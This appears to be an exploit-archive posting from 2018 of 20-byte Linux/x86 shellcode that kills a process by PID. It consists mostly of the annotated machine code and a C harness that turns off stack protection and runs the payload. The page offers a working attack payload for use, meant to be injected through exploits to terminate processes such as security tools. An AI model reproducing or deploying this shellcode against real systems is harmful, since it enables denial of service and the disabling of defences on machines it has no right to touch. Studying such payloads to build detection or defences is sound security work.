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Linux/x86 Kill Process Shellcode

Linux/x86 Kill Process Shellcode
Posted Jul 9, 2018
Authored by Nathu Nandwani

20 bytes small Linux/x86 kill process shellcode.

tags | x86, shellcode
systems | linux
MD5 | 85b2934d4f610ce119d7650948da097e

Linux/x86 Kill Process Shellcode

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/*
Exploit Title: Kill PID shellcode
Date: 07/09/2018
Exploit Author: Nathu Nandwani
Platform: Linux/x86
Size: 20 bytes
Compile: gcc -fno-stack-protector -z execstack killproc.c -o killproc
*/
#include <string.h>
#include <stdio.h>
int main()
{
unsigned short pid = 2801;

char shellcode[] =
"\x31\xc0" /* xor eax, eax */
"\xb0\x25" /* mov al, 0x25 - SYS_KILL */
"\x89\xc3" /* mov ebx, eax */
"\x89\xc1" /* mov ecx, eax */
"\x66\xbb" /* mov bx, ? */
"\xF1\x0A" /* bx <= pid => 2801 = 0x0AF1 */
"\xb1\x09" /* mov cl, 0x09 - SIGKILL */
"\xcd\x80" /* int 0x80 */
"\xb0\x01" /* mov al, 0x01 */
"\xcd\x80"; /* int 0x80 */

shellcode[10] = pid & 0xff;
shellcode[11] = (pid >> 8) & 0xff;

printf("Shellcode length: %d\n", strlen(shellcode));
int (*ret)() = (int(*)())shellcode;
ret();
}

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